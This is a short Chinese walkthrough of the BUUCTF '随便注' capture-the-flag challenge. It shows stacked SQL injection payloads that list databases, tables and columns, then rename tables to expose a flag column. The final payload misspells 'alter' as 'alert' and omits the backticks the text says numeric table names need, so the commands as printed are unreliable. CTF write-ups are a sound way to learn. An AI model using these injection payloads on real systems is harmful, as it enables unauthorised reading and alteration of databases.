buuctf-随便注

buuctf-随便注题注上没有什么提示,进入环境
有一个提交查询,点击查询,数字为1时回显如下
buuctf-随便注
数字为2回显如下,且文本框内数字自动变为1
buuctf-随便注当数字大于2时,页面不会返回内容。说明字段数为2
看下源码
buuctf-随便注buuctf-随便注咳咳,这就过分了哈.我偏要用
先试下’

buuctf-随便注
buuctf-随便注再select下
buuctf-随便注回显了关键字的过滤,union注入没法用
这里有一个知识点就是“堆积注入”
其实就是加了;之后接着注入
1’;show databases;爆下数据库
buuctf-随便注
再爆个表

buuctf-随便注好啊。尝试下把表内容爆出来
1’;show columns from words;
buuctf-随便注没啥有用的
下一个,这里得注意一下,如果表名为数字时,需要使用反引号
1’;show columns from 1919810931114514;
buuctf-随便注
哦吼,看到了flag字段
这道题目隐约有点印象。以前应该做过相似的题目
后面我们使用修改表名的方法来得到flag
1’; rename table words to 123; rename table 1919810931114514 to words; alert table words add id int unsigned not Null auto_increment primary key ; alert table words change flag data varchar(100);#
最后得到flag